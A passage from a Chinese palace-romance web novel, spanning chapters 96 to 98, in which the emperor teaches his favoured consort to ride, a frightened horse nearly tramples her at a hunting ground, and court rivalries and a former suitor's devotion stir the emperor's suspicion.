躺在窄榻里的舒贵人面容煞白,垂在面庞的青丝为她添上几?分怜弱的美?感,她费力地要扶宫人起?身?做礼,李怀修抬手,让她不必多礼,又问看诊的太医可到了?。 此行跟随太医三人,当值的两人去为染了?风寒的宁国候看诊,还未回来,皇后?已经命人快去通传,过这些时辰,应也差不多到了?。 那太医提着?药箱,跑得满头大汗,他进殿做礼后?,过去为舒贵人诊脉。 张太医先是拧眉,觉得这脉象颇有些奇怪,他换了? 只手,又看了?一会儿,才迟疑地起?身?,“禀皇上,贵人主子?受过惊吓,一时气虚无力,并无大碍,臣还诊出?了?喜脉之像,大底是时日尚浅,并不明显。” 喜脉? 闻言的嫔妃倏然捏紧了?帕子?,狠狠拧眉,舒贵人居然又有孕了?? 舒贵人喜不自禁,她抚住小腹,面容终于?生出?红润的血色,她侧过脸,期许地望向窄榻边的男人,“皇上,嫔妾又有皇上的孩子?了?。” 不枉费她费尽心力讨好太后?,她垂下眸子?时,眼底却闪过一抹淡色,这个孩子?,她一定要保住。 如今后?宫已有三子?三女,李怀修对舒贵人这一胎淡然许多,他捻着?扳指平静地点了?点头,吩咐太医留下照顾。 皇后?抿唇,她不着?痕迹地扫见舒贵人敛藏的情绪,有什么情绪一闪而过,她温声开口:“皇上,舒贵人有孕不宜留在东山围场,不如臣妾安排车辇,送回宫中?为舒贵人养胎。” 东山有朝臣禁军,一应用度比不上宫中?,皇后?此言并无道理。但舒贵人不想轻易离开,她见皇上要认同皇后?的提议,吓得花容失色地去扯住李怀修的衣袖,“皇上,臣妾想留在东山,臣妾受到惊吓,胎像不稳,此时也不宜离开。” 她才刚有身?孕,正应借着?这个机会争宠,让皇上多疼惜她,怎能在此时回宫。 张太医不得已,硬着?头皮道:“皇上,贵人主子?身?子?孱弱,胎像不稳,确实?不该受马车颠簸劳顿。” 闻言,皇后?似也察觉了?自己所言有所不妥,“是臣妾想的不周。” “当下舒贵人是住不得春轩了?,枫林无人住着?,不如臣妾连夜吩咐宫人清扫,舒贵人也好缓缓情绪。” 李怀修脸色淡淡,并不关心这些住处之事,便都交由皇后?操办。 …… 至夜,明裳回寝殿时辰已经很晚,月上中?天,她没想到舒贵人这般好运,又怀了?皇嗣。如今宫中?已有三个皇子?,倘若舒贵人再诞下皇子?,皇上膝下就有了?四子?。 明裳不由想到夺嫡之争,心底生出?不安。 虽说这些事她做不得主,那位也不会容忍自己的子?嗣手足相残,可她仍是忍不住去想,待明年春选秀,新人入宫,日后?这宫里的皇子?不知要有多少。那位是皇帝,理所应当召幸六宫,待新人越来越多,她与两个孩子?又该何去何从。 明裳靠坐在小窗月下,一时心乱如麻。又安慰自己如今的位分已没人敢耐她如何,又忍不住想故去的丽妃和当初的杨贵嫔。 而就在这时,耳边隐约听见了?一阵幽鸣箫声。 …… 东山半坡,无人知晓,此处最为邻近后?妃寝殿。 翌日,李怀洲笑话柳大人深更半夜不睡觉居然跑去山里吹箫,柳絮白青隽的眉眼低垂一瞬,很快被他敛去了?,称是夜中?无眠,转话询问今日何时起?行东山。 李怀洲意味不明地摇了?摇头,“今儿皇兄怕是不会与我等一处了?。” 他一大早去马场,相中?一匹漂亮的枣红色母马,谁料那马官禀他,那匹马皇上吩咐,不准任何人牵去。皇兄少年痴迷驯服悍马,怎会看上那匹温温顺顺的小母驹。 柳絮白猜想出?缘由,没有再问,形容温润,却有说不出?的落寞。 …… 昨夜明裳睡得迟,白日醒时也不知到了?什么时辰,她茫然地翻过身?子?,手心先是触到了?什么硬邦邦的东西。 睁开眼,圆白的光映在男人背后?,勾勒出?的锋利眉眼犹如利剑出?鞘,渐渐鲜明,明裳稍有醒神,自然地依偎去李怀修怀里,软糯糯的,“皇上怎么在这儿?臣妾以为皇上不是去狩猎,就是去陪怀了?身?孕的舒贵人了?呢!” 这后?宫中?,只有这女子?,敢这样理直气壮地置喙他后?宫之事。 舒贵人有孕确实?也在李怀修意料之外,他手臂撑着?身?子?,抿唇,去捏她脸蛋,避之不谈舒贵人的身?孕,“朕带你来东山狩猎,可不是让你日日在寝殿里闷头大睡。” “怎的每日都睡不醒的模样,这般精力不济。” 明裳娇娇软软地“哼”了?声,“皇上分明就是山林里的兽,打盹也睁着?眼睛。” 这是拐着?弯骂他呢! 李怀修略带薄茧的指腹去摩挲她的脖颈,直到那雪白的肌肤生出?淡淡的红晕,明裳觉得痒,不自在地多开,他似笑非笑,又去捻她,“还敢不敢骂朕是畜牲?” 明裳霎时困意全无,缩在男人怀中?动无可动,颤着?眼睫只能由着?欺负,委屈巴巴地连说不敢了?。李怀修“啧”一声,抽出?手掌,拍了?拍她腰臀,“起?来,朕今日教你骑马。” 宫人进殿伺候两位主子?起?身?,李怀修换上圆领龙纹长袍,出?殿时,全福海急匆匆过来通禀,“皇上,戚家三公子?和宁国侯世子?一早因争抢猎物打起?来了?,宁国候没敢惊动皇上,托着?风寒,命人把世子?绑回了?行宫,要来给皇上请罪。” 李怀修眉宇间有些不耐,他勾唇,凉凉轻笑一声,“他愿意请罪就去议政殿外跪着?,朕何时心情好了?,再给朕起?来。” 全福海明白皇上的意思,宁国候早年深得皇上器重?,可惜生了?个蠢钝的儿子?,不知招惹多少麻烦。 御前弹劾宁国候世子?的折子?是皇上念在宁国候忠心的份儿上才压下来,谁想,那世子?居然屡教不改,敢与齐王暗中?勾结,那宁国候也是可怜,至今被蒙在鼓里,为让儿子?得皇上重?用,一把鼻涕一把泪哭求到东山狩猎的机会,也是用心良苦,只是不知皇上会留这宁国候世子?的命到几?时。 第096章 第 96 章 行宫往北行一段路就是东山马场, 马场深处是东山半坡,树林阴翳,隐有几声鸟鸣。 明裳扶着宫人的手下了马车, 入眼是一片宽阔无边的草地, 外围木栏,相隔一里竖玄色旌旗, 猎猎迎于北风之中。 围场马倌早得圣令,牵了一匹马通身枣红鬃毛的小母驹到外迎驾。 这小母马瞳孔水亮清明,温温顺顺, 一看就颇为亲人,明裳眸子亮了一瞬,不见?来时路上的紧张。她先过去?试探地抚母马的脖颈,那小母马便亲近地蹭她手心,明裳眼眸软下来, 她眉眼愉悦地转过脸, “这是给臣妾的坐骑吗?” 李怀修接过宫人送来的软鞭, 缠于手掌,他走过去?,拍了拍马背, 尚且结实得用, 才?问道:“可还?喜欢?” 自是喜欢。 明裳眼眸弯弯,鹅黄色的领口露出她纤柔的脖颈,一颦一笑?,风情动人,她软声, “臣妾很?是喜欢。” 这匹马是李怀修早就看中给她学骑射用的,不白费他花的心的。李怀修大手一挥, 重赏了那马倌。 喜欢是喜欢,但真正去?学骑马,明裳才?发?现这样艰难吓人。她依着男人的话,却翻不上那马背,李怀修便直接扣住她的腰,送了上去?。 尚是在?宫外,明裳面颊微红,她朝伺候的宫人看去?,不知何时,那些人已经远远退到后面,没人敢抬眼去?看两位主子,她这才?自然许多。 她紧张地抓着缰绳,稍有颠簸,脊背就登时僵直,恨不得趴在?马背之上。学骑马于她而言,当真算不得轻松。 李怀修他训人一向严苛,见?她学了一会儿还?不敢坐直身子,不由显出厉色,但明裳性子软得厉害,本就紧张,坐在?马背被男人厉声训斥几回,起?初的新鲜感?消失殆尽,恨不得赶紧回行宫躺着。 她红着眼委屈地不要学了,李怀修头一回给人做马倌,又?见?这女子实在?没有天资,想要学好,怕是得一段日子。他拧了拧眉,她已经哭道口不择言,说?什么再也不要搭理他,李怀修才?意识自己方才?确实有些急于求成。 他便没再教下去?,扶着人抱她下来,明裳脚踩马蹬,落到地上,一阵虚浮后觉得踏实,开始翻脸不认人,瘪唇哼了声,小脸气鼓鼓的,当真不理男人,急步就要往围栏外走。 李怀修脸色一黑,当着这么多人给他甩脸子,像什么话。他把人拉回来,正要训斥几句,见?这人泪眼八叉,委屈地一眼都不想看他的模样,终是心头一软,“不学就不学了,朕带你跑马。” 他搂着明裳的腰身,轻拍了拍她的身子。 明裳埋在?男人怀里,哽咽控诉,“皇上方才?对臣妾那么凶!” 胸口软乎乎的,一声一声的娇音软语,嗔恼他方才?态度有多过分。 李怀修低沉地轻笑?一声,“好了,是朕态度不好。” 又?忍不住想,他下面的人谁敢骑个马就哭哭啼啼,早就被拖了出去?,这女子太娇气,打不得,说?不得,哭起?来反倒头疼的是他。 终于勉强哄得人不哭,李怀修唤马倌牵出他常骑的乌睢马,通体油亮的玄色鬃毛,高大健壮,枣红色小母马在?乌睢一旁,显得极为秀珍娇小。 他先抱着明裳上去?,接着自己踩住马蹬,一跃而上,一手握住缰绳,另一只?手掌则搂紧了身前的女子。 马背上的风景与?地上全然不同,尤其明裳现在?所骑,还?是一匹烈马。纵使李怀修护在?她身后,仍是让她觉得害怕,身子控制不住的僵硬紧绷,指尖下意识揪住乌睢的鬃毛。 李怀修瞥见?,握住那只?手,让她放松。 下一瞬,不等明裳放松下来,耳边男人声线低沉,一道令下,李怀修手振缰绳,纵马疾驰奔去?。 马背颠簸至极,明裳几乎整个身子都被身后的男人圈入怀中,渐渐明裳习惯了乌睢风驰的速度,惊惧散去?,情绪慢慢放松下来。 察觉到怀里人软下的身子,李怀修勾勾她的腰肢,抽出心神问她还?怕么。 明裳摇头,老老实实地依偎在?男人怀里,却也不敢乱动,好奇地问,“臣妾要学多久马术,才?能和皇上一样精湛?” 听?她问出这句,李怀修思?索方才?她坐在?小母马上动也不敢动的身子,轻“啧”一声,“朕五岁学马就能疾驰而行,你说?你要学多久?” 五岁? 明裳想想自己五岁时还?在?因为要和娘亲一起?睡而撒娇,她脸蛋涨红,“皇上好好教臣妾,臣妾会学好的。” 嘟囔着幽怨,“分明是皇上太凶了。” 李怀修瞥一眼明裳眼尾残余的殷红,没再跟她掰扯这事,免得人哭了,还?得他来哄。 没跑上多久,李怀修手扯缰绳,令乌睢缓行,这时,后随行的羽林卫疾驰追来,那人见?到圣驾立即翻身下马,跪地禀事,“南昭王有紧急之事求见?皇上!” 明裳诧异,这时求见?,料想是万分紧急。 她侧过脸,李怀修眸色微沉,至于要禀什么事,他已经猜出几分,他捻了捻扳指,道了句知道了,又?扯缰往回走,与?明裳说?:“朕送你回马场,想回行宫,外面有马车候着,想留在?马车就吩咐给你牵马的马倌。” 男人语气云淡风轻,不知为何,明裳却觉出几分不同寻常,她揪住龙袍的衣袖,“皇上,是不是出了什么事?” 李怀修惊讶这女子的敏锐,他如常捏了把明裳的脸蛋,如墨的眼目有帝王执掌乾坤的成算,他唇边带着笑?意,“不是什么大事。” 转开话头随意道:“备好晚膳,今夜朕去?绾阁用膳。” 明裳被男人看得不自在?,她耳尖儿脖颈都生了绯色,移开眼,羞羞地应了一声。 却不知在?她移开目光时,李怀修的眼色渐渐淡了下去?。 …… 回到马场,李怀修带一队羽林卫纵马离开,明裳没有立刻回行宫,她虽害怕骑马,却是极为喜欢那匹小母驹,又?命马倌牵来,亲自过去?抚摸鬃毛,喂食草料。 那马倌知晓这位娘娘在?后宫颇为受宠,毕恭毕敬地伺候在?后面,不时说?几句讨喜的话。 “皇上吩咐奴才?,娘娘要是累了,可去?主帐歇息,奴才?已按照皇上的吩咐备好了娘娘爱吃的茶点果子。” 皇上居然准备的这样精细,明裳此时倒是不饿,不过方才?骑了会儿马,大底是肌肤太娇,臀下被马鞍硌得生疼,正要让他领去?歇息,忽然听?到一阵剧烈的嘶鸣,紧接着耳边是一道惊呼之声,她来不及去?看,眼前骤然闪出一道靛青的人影,男人的手掌托住她的腰身,天旋地转间,她惊愕地对上柳絮白的双眼,瞳孔骤然缩紧,只?见?那匹发?了疯的骏马马鼻嘶鸣,高高地扬起?双蹄,重重踹向柳絮白的后背。 她脸色吓得煞白,不及反应,就被他推去?了一旁的空地上。 马场情状混乱,马倌去?牵制那匹发?了疯的骏马,明裳手心擦到草地上的石子,破皮出血,她顾不上疼,心脏跳动得剧烈,正要起?身去?看柳絮白的伤势,忽然想到什么,没有再动,由跑来的宫人簇拥询问。 明裳低眸扶住月香,没向那边看去?一眼。 “本宫没事,方才?有位大人为救本宫怕是受了伤,立刻去?传太医过来。” 只?有月香知晓,娘娘说?话时,指尖在?轻轻发?抖,她担心地擦去?娘娘侧脸的脏污,没敢多问,立即扶着娘娘回主帐歇息。 …… 李怀洲今日去?山中,误进一处密林,发?现树后的土坡底下绑了绊马索,要知道皇上亲临狩猎,山里是绝不可能会发?现这些东西。 他没敢耽搁,快马回来禀给皇兄。 李怀修早有预料,他指骨叩了叩长案,“朕让你查铁器一事,办的如何?” 此次东山狩猎,李怀洲本在?办那个案子,但皇兄让他过来,他便交给了下面的人,“已经有些眉目,正如皇兄所想,臣弟正准备回去?核实。” 李怀修点点头,“暂且不必声张,但凡有异动,悉数扣押。” 他靠着椅背,眼目低垂,漫不经心,等了这么久,他这位皇叔,终于要动手了。 李怀洲照着皇兄吩咐下去?准备,他出了殿门,看见?急跑过来的全福海,正要问几句是出了什么事,那公公急匆匆做了礼,跨进殿门,险些一个屁股蹲绊到门槛,他讶然,什么事,能让御前的大监慌至如此。 此时马场,明裳包扎好了手心,不知道柳絮白被带去?了哪儿,是否还?在?马场里,她亲眼见?到马蹄踹向柳絮白的后背,他似是口中闷出了血,免她害怕,才?忍着没吐出来。 明裳垂着眼,指尖儿攥得越来越紧,他这样舍命救她,她坐在?这儿,于心难安。她一时居然不知,身为皇帝的嫔妃,该用什么语气,什么腹稿,去?关心救了她的臣子。若不关心一句,皇上会不会疑心于她。 月香端着温水回到帐中,对伺候的宫人吩咐:“娘娘需要休息,你们都下去?吧。” 宫人们无声退了出去?,月香知晓娘娘担心,立即蹲下身,做似为明裳上药,小声开口:“奴婢方才?出去?打听?,太医诊过脉,娘娘放心,柳大人伤得并不重,只?是需要卧床修养些时日,此时人还?醒着。” 明裳紧张的指尖儿渐渐松开,其实细细想来,她亏欠柳絮白实在?太多。她入宫那一刻,就彻底割舍了与?柳絮白当初的情分,如今他又?这样舍命相救,明裳感?激,但不知该如何偿还?,倒宁愿他从未救过自己。 帐帘掀开,绘如从马场回来,神色凝重地走近内殿。马匹受惊后,明裳留了绘如在?马场,看看能发?现什么。皇上亲临,马倌不可能会让如此凶险的事发?生,除非,是有心人设计。 明裳没有心思?去?管柳絮白,绘如用帕子包裹了一枚金珠子,马场的人是不会有这样的金珠子,倒像是王公贵族打赏下人之物。 “为何偏生在?娘娘喂马的时候出事?”月香怀疑,“会不会有人奔着娘娘来的。” 明裳收了那枚金珠,轻轻敛眸,“倘若当真如此,倒是省了本宫再去?对付她。” 敢在?马场里动手,可真是好本事。 她更希望是后宫有人加害,出了这么大的事,皇上怎会轻易放过。 …… 李怀修越身下马,疾步行进帐内,见?那女子倚着软榻,眼眸微阖,抬手没让宫人出声打扰,走过去?,才?看清明裳手心包裹的白布,眼后有一处擦伤,他沉下脸色,这时,明裳眼眸睁开,看清了面前的男人,眼圈一红,哭着扑进李怀修的怀里,“皇上,臣妾要吓坏了……” 怀中的身子瑟缩着,轻轻颤抖,仅是听?全福海通禀那时情形,李怀修也想到她定是吓得不轻,才?一路快马赶到马场。 他温声安抚,听?哭声渐渐消了下去?,抬起?手抹去?明裳眼尾的泪痕,“朕已经命人去?查,倘若事出有因,朕定然不会轻易放过。” 明裳陡然坐直身子,忙忙从怀中摸出那枚金珠,“这是臣妾的宫女在?马场找到的。” 李怀修拧眉,睇她一眼,将那金珠接到手中,指腹把玩两圈,收到袖里,又?去?捏明裳脸蛋,“朕的宓妃还?有几分聪慧。” 也不知是不是在?夸她。 明裳便也不答,似有嗔恼,“臣妾险些见?不到皇上了,皇上还?打趣臣妾。” 闻言,李怀修唇线压平,手臂揽紧了怀中的女子,双目乌沉如墨。 唯有他知晓,从议政殿到马场两刻钟的路,他心事重重,并不轻松。甚至在?想,倘若今日出事的是这女子,他定要将那幕后之人揪出来,碎尸万段。 仅为一宠妃牵肠挂肚至此,这本不该是运筹帷幄的君主所应有的情绪,但李怀修不愿去?追究缘由。 有些事,没必要算得那么清楚,他更不想让那些人知晓,自己多出这样一个软肋。 出了主帐,李怀修没有方才?那般和颜悦色,着羽林卫去?查,又?问柳絮白伤势。那太医回禀,幸而柳大人常年习武,又?胜在?年轻,身子并没太大亏损。 李怀修正要走进柳絮白养伤的偏帐,脚步倏然一顿,想起?方才?在?主帐时,那女子在?他怀里哭诉,却自始至终都没提起?救她的人。 他推了下拇指的玉戒,身为内宫妃嫔,言语避讳情有可原。 李怀修转身招来伺候的马倌,似无意问柳絮白在?马场挑中了哪匹马,那马倌回忆,柳大人来了这儿说?是看看前几个月刚生下的小马驹,并未挑马。 不知为何,那马倌回完这句话后,全福海觉得皇上脸色一瞬就沉了下去?,他心脏吓得突突直跳,立时垂下脑袋,不明白这马倌哪句说?错,皇上脸色这样难看,让他险些以为,皇上现在?就要砍了这马倌的脑袋。 第097章 第 97 章 在李怀修踏进偏帐之前, 柳絮白收好手中的香囊,压到了枕下。他?一手撑住窄榻的扶手,吃力起身, 到皇上面前见?礼。 李怀修眼光复杂难辨地看向面前躬身谦和的心腹重臣, 抬手让他?免礼,撂袍自?然地坐下, “子瑛身子如何?” 柳絮白虚白的手掌扶住胸口,缓慢地坐下,“谢皇上关心, 太医说臣幸而没伤及肺腑,修养一段日子就好。” 他?眉眼始终垂着,没敢抬头。 柳絮白知?道当今的眼光有多毒辣,他?舍命护下湘湘,这位定然会有所怀疑。 可他?也万分庆幸听南昭王之言, 今日借着去看马驹, 来了马场, 他?怎会有什么心思去看马驹,不过是无意打听到她在马场里唯那匹小?母驹,只为离她近些, 能看她一眼。 那烈马剽悍, 就是他?这等习武之人险些损伤肝胆,他?无法想象,要是马蹄下的人是湘湘,他?怕是连她最后一面都无法见?到。 后宫艰辛,听闻皇上的舒贵人又有身孕, 湘湘这三年里,究竟受了多少苦楚。 他?恨不得舍去性命, 冒死带湘湘离开,去一个没有人认识他?们的地方。 可……他?也清楚,他?们不能舍下双亲,何况,湘湘还为皇上生下了皇子公主。湘湘那样柔软的性子,怎会舍得扔下两?个孩儿。 柳絮白眼底闪过颓然的悲伤。 偏殿内一时沉寂,李怀修无声捻着拇指象征帝王权力的白玉扳指,“子瑛是朕一手提拔上来,跟随朕多年,朕记得你?府内尚无妻妾,不如朕做一回主,为你?指婚如何?” 柳絮白骨节倏然一紧,蓦地抬起双眼,没有压制住其中的情?绪,震惊挣扎痛苦错综交织,对上帝王的洞察的眼,倏忽避开,挣扎着下去窄榻,因?太过急切,胸腔震颤猛咳,他?极力捂住双唇,折下身骨,“请皇上恕罪,臣暂且并无娶妻之意。” 男子跪在地上,诚惶诚恐。 李怀修捻着扳指的动作慢慢停住,盯着求他?收回成命的青年,双目一寸一寸寒了下去。 …… 明裳在主帐歇了半个时辰,太医再过来为她请脉,脉象已然无异。 行宫接迎的马车停在马场外,明裳踩着木凳,一手掀帘,弯腰而入,待看清马车里不知?坐了多久的男人,她眸色一怔,随即自?然地放下车帘,“臣妾以为皇上已经回行宫了。” 李怀修不紧不慢地放下手中的茶水,没答她的话,招手让她过来。 马车缓缓而行,五马并驾,车厢宽敞无比,犹如小?室。明裳提裙坐去窄榻上,依偎到男人怀中。包裹白布的右手搭在男人膝上,有意给李怀修看到,让他?心疼。 李怀修依着这女子的小?心思,握去那只手,目光沉沉地凝向这张雪白的脸蛋,又去抚明裳的小?腹,忽然开口,“再给朕生一个孩子如何?” 这句意外之语,惊得明裳睁了睁眸子,撑坐起身,诧异地对上男人晦暗不清的视线,娇声,“皇上在说什么,臣妾才刚生下绥儿安儿多久,皇上又要臣妾生。” 女子眼眸惊疑,不解其中的意思。 李怀修双唇微抿,抬手不徐不疾地摩挲着这张媚韵丰存的侧脸,指腹收紧,另一条手臂按住明裳的腰身,几乎是在她猝不及防之下,被男人禁锢到了怀中,她想要挣扎,李怀修掰过她的下颌,红润的唇仿似贴上了两?片寒冬的薄凉。男人呼吸很?重,像要将她生吞入骨。 又深又重,像贪婪深情?的野兽。 可笑的是,凉薄的野兽怎会情?深。 雪白的肩头倏地一冷,明裳双眸渐渐聚焦,急切地去推李怀修胸膛,面颊一片绯色,“皇上,快要到行宫了!” 倘若是在行宫寝殿也就罢了,这还是在回去的路上,马车外面就是随侍的宫人,前面有羽林卫护送,光天化日,让人听到,怕是要羞死了。 李怀修终于放开了她。 他?指腹尤揉捏着明裳的腰肢,男人紫衣玉带,衣冠整齐,反而在他?怀里的明裳气息紊乱,耳珠生粉,衣裳也乱了,一张艳极的芙蓉面格外勾人。 在他?怀里,像个只会扰乱他?心神的妖精。 李怀修看着女子丰唇盈水,慌张地整理凌乱的衣襟,眼目沉沉,心不在焉。 她为什么要对柳絮白避之不及。 柳絮白又为何要借看马驹的由头,在他?回行宫后到这马场,舍命去救一个与他?毫无干系的后宫嫔妃,甚至不惜怕他?疑心,被人诟病。 在她进宫之前,可曾与别的男子倾心相许。 她这样好的颜色,怎会没有人喜欢。 李怀修唇角压平,清晰地察觉出自己压抑的震怒,他?惯来如此,越是生怒,面上越是平静。 时至今日,他?已经可以做到喜怒不形于色,更喜欢玩弄权势于股掌,收拾那些没人能解决的摊子,几乎无人再能真正轻易让他震怒。 然这女子总能牵动他的心绪,已经不止是一个宠妃那么简单,他?无法再压制那个念头,更无法轻易忽视。 昔日汉武帝金屋藏娇,如今他?倒真的像筑个金笼子,将这女子关在里头,日日只能见?他?一人,只能对他?哭,对他?笑,对他?撒娇求饶,百般婉转。 李怀修不想承认自?己待这女子这样的心思,表面上,他?仍是那个威严自?若的君王。 他?低头亲了亲明裳的眉心,恢复最初的那个话题,沉沉低语,“现在不想生,等绥儿安儿大?些再生。” 没人比他?清楚,这女子有多疼爱那两?个孩子,多养几个,她满心照顾孩子,总没心思再去想那些有的没的。 明裳不知?,话题怎么又回到了生孩子上,她觉得今日的皇上有些奇怪,手心不禁收紧,难不成皇上是察觉柳絮白与她从?前的事?,可是,依着这位的性子,不该厌恶生怒吗,为何还楼得她这样紧。 …… 回到行宫,李怀修去了议政殿,受了一番惊吓,明裳此时只想回寝殿内好生歇息。 全福海不会马术,皇上得知?宓妃娘娘出?事?,也没交代他?半句,扬鞭策马就赶去了马场。全福海心焦地守在议政殿,可算是把皇上盼来,不过看皇上这阴云密布的脸色,难不成是传话有假,宓妃娘娘伤得很?重? 他?没敢胡乱猜测,心惊胆战地上前侍奉。 李怀修捏了捏眉心,掀他?一眼,“去传陈庶替朕查两?件事?。” 一则,马场为何会突然跑出?一匹发疯的烈马。 二则,他?想知?道,那女子进宫之前的全部。 明裳身子太累,迷迷糊糊睡到暮晚,她趿鞋下地,身子半倚着月香,由着宫女喂了一口水,醒过神,揉揉眼睛,问什么时辰。 行宫坐在山后,日头落得快,寝殿内掌了烛火,月香回她已经酉时了。 明裳想起那位说今夜过来用晚膳,不知?还来不来,她吩咐人先?备着,去净室梳洗。 披了衣裳,明裳坐去妆镜前描妆,见?绘如从?外面进来,问可是圣驾来了?绘如面色怪异,“回娘娘,是舒贵人求见?。” 舒贵人? 明裳微微拧起眉尖儿,舒贵人有了身孕,胎像不稳,怎么还在夜中乱跑,不怕摔着身子,动了胎气? 碰到皇嗣,明裳不愿意去见?舒贵人,吩咐绘如将人打发了,绘如离开,不多时,去而复返,明裳正对着妆镜挂金耳铛,绘如神色比方才紧张,一言难尽,“娘娘,舒贵人在殿外遇见?圣驾,请皇上过去枫林了!” “咣当”一声,明裳指尖儿不稳,耳铛自?手动掉落,磕碰过案沿儿,滚进凭几的缝隙中。 舒贵人没见?到宓妃,试探地询问皇上可要去枫林陪她,本没抱希望,不想皇上并未拒绝。 她有意抚着小?腹坐去窄榻里,为皇上红袖添茶,有意无意柔声:“嫔妾从?宓妃娘娘那儿把皇上请来,怕是宓妃娘娘要怪罪嫔妾。” 李怀修扫一眼她尚且平坦的肚子,由着舒贵人那些心思,不咸不淡道:“你?怀着皇嗣,她不会跟你?计较。” 她?舒贵人面容顿了顿,是有多亲昵,皇上才会在别的宫嫔面前称宓妃为她。皇上面色不显,话语间却?全然是对宓妃的宠溺纵容。 舒贵人眼有失落,遮掩地去为李怀修添茶,她想到什么,再次开口,“嫔妾听说今儿马场出?了桩意外,幸而柳大?人及时出?现,舍命救下宓妃娘娘。” 那盏茶水倒了七分满,李怀修推着扳指,沉默一瞬。殿内气氛凝滞,舒贵人心头无端跳了起来,她抬眸,正对上男人的眼睛,心头猛然一悸。 “皇上,嫔妾……” 李怀修手臂漫不经心地搭去凭几,打断她,“没人敢向外透漏今日马场发生了什么,你?怎么会知?道。” 窗外,婆娑的树影摇曳晃动。 舒贵人额头生出?一层冷汗,她听见?自?己的心跳,一声又一声,犹如擂鼓。她怎么会知?道,出?了这么大?的事?,难不成还没有传开? 是她急切,为让皇上疑心,贸然去提。 舒贵人捂住小?腹,垂下眼皮,眼珠紧张地转动,颤声回话,“是……是嫔妾宫里的人在绾阁外,听见?伺候宓妃娘娘的宫人小?声谈论……” 她害怕地闭了闭眼,她怀着皇嗣,皇上总不会因?此处置于她。 李怀修指骨轻叩着长案,看向地上跪着的舒贵人,狭长的凤眸中有森森凉意。 稍许,他?拂袖起身,“朕会彻查此事?,牵连其中的人,朕绝不会轻易放过。” 舒贵人容色煞白,瘫软下身子,袖中指尖儿在阵阵发颤。 …… 圣驾从?枫林出?来,全福海躬身询问皇上可要去绾阁,毕竟皇上今晚原本是要去宓妃娘娘那儿。 好一会儿没等到皇上回话,全福海疑心皇上可否听到,銮仗内就传出?不辨喜怒的话声,“朕走后,绾阁可有宫人过来寻朕?” 全福海听出?皇上的意思,一脸难色,心道,分明是皇上带着舒贵人走的,舒贵人怀着皇嗣,胎像不稳,即便宓妃娘娘生气,可也怕皇上不喜,不敢过来到舒贵人这儿截宠啊。 他?不好回答,又听见?銮仗内皇上不耐烦地催问,他?只得硬着头皮回道:“奴才守在殿外,没见?绾阁来人。” 怕皇上不快,连忙补话,“料想宓妃娘娘是顾及舒贵人腹中皇嗣,才没遣人过来枫林。” 也不知?皇上怎个意思,良久,他?只听里头吩咐道:“回议政殿。” 全福海愣了下,心底一凛,皇上 今儿这心情?可真的是阴晴不定,他?跟着伺候都觉得心惊胆战,遂扬起嗓子喊道:“摆驾议政殿!” 圣驾先?去绾阁,后转到枫林,最后又折回了议政殿。 李怀修从?銮仗内下来,没什么表情?地往内殿走,全福海在跟在后头,觑着皇上脸色,低着脑袋,大?气也不敢喘,他?正凝神在想皇上怎么又生气了,没留神皇上忽然停住了身子,猝不及防,撞向李怀修后背,直挺挺地摔了个屁股蹲。 意识到自?己脑袋快要不保,忍痛爬起来,欲哭无泪地咣咣磕头,“奴才该死!奴才该死!皇上恕罪!皇上恕罪!” 好半会儿没听皇上搭理他?,眼冒金星,不明所以地地抬起头,迷迷瞪瞪瞧见?殿外站了一个女子,好似是——宓妃娘娘! 山中秋夜寒凉,明裳着一件外衫,冻得小?脸发白,乌黑的青丝拂过双肩,那张楚楚可怜的小?脸未施粉黛,就这样在他?的寝宫外面,等着他?回来。 李怀修步子微顿,心脏骤然缩紧,他?疾步走上台阶,触到女子手心的冰冷,冷脸斥她,“胡闹!也不怕着了凉气!” 他?恼火,又忍不住心疼。 明裳泪珠子从?眼眶里掉出?来,摇着头扑到男人怀中,纤弱的身形轻轻颤抖,“臣妾不冷,臣妾要在这儿等着皇上,” “皇上在旁人那一刻,臣妾就在这里等皇上一刻。皇上在旁人那一夜,臣妾就在这里等皇上一夜。” 李怀修呼吸微重,浑身的冷凝铁甲,因?这两?句话,溃不成军。 她那些为做争宠耍在他?身上的手段,总能成功得轻而易举,让他?甘之如饴。 …… 明裳攀住男人的肩膀,身子摇摇欲坠,良久才从?书房的长案上被抱去寝殿,臀侧很?疼,是那时打下的两?个巴掌印。那位让她盘牢了,稍有松懈,就要挨扌丁。她觉得男人是故意的,明明她怕得很?紧,还莫名其妙的被惩罚那么久。 到东山行宫后,她还未歇过皇上的寝宫。她怕凉,寝殿早早要了炭火,到这位寝殿里,冰凉如水,冻得忍不住缩起身子。 李怀修回到寝殿,单手挑起垂落的帷幔,见?那女子裹成粽子缩在里面,俯下身,捏了把那张熟睡的脸蛋,稍许披上外衫吩咐宫人去生炭火,抬步走去殿外。 第098章 第 98 章 明裳醒时, 宽敞的龙榻上只她一人。 她缓了会儿,想起昨夜自己做了什么?,手背挑起帷幔, 唤人进来盥洗。 来人是昨夜跟过来的月香。 明裳记得今儿狩猎开宴, 她坐到妆镜前描好妆容,到行宫, 下首跟随东山狩猎的妃嫔已经到的差不多,唯不见?舒贵人的身影。 她挑了挑眉,想起昨夜皇上去枫林又?出来, 不知发生了什么?,难不成舒贵人做了何?事惹那位不快? 明裳捻了捻帕子,若有所思地坐下身。 朝臣命妇席位渐渐坐齐了人,皇后先行而至,随后, 远处扬起一阵马蹄尘土, 并未受邀的齐王赶到行宫。 他姿态随意, 不顾众人面面相觑的眼神,坐到龙椅的下位。 就在这时,帝王入席, 一众人等起身参拜。 李怀修坐到上首席位, 眼光扫到不请自来的齐王,淡淡移开眼,含笑?抬手让众人平身。 宴席开始,鸣锣奏乐。 东山狩猎的席面要比在宫中粗犷,案上呈来的不是精细的宫廷菜肴, 大块肥腻的烤肉看得明裳颦颦蹙眉。 一曲唱罢,李怀修靠到椅背上, 笑?着问道:“众爱卿都狩到了哪些?猎物?” 随即年逾七十的定国侯起身抱拳,嗓门敞亮,“臣狩到白虎一头,黑眼鹰三只,兔子野鸡数十余。” 话落,随行定国侯的侍从费力?地拖拽那头死去的白虎入场,在场的人纷纷惊愕,明裳见?不得血腥,忙闭了闭眼,她这才知道,那日宫人送到绾阁的狐狸兔子当真算不得什么?。在场的女眷也心生惧怕,以帕抵唇,吓得花容失色。 李怀修朗笑?赞道:“定国侯果真悍勇!” 定国侯满腮花白胡须,憨笑?,“臣可为皇上再?效忠四十年!” 李怀修龙心大悦,特擢定国侯为一等公爵,后世皆可享此优容。 得知皇上对定国侯做此厚重褒奖,在坐的年轻世族纷纷跃跃欲试。 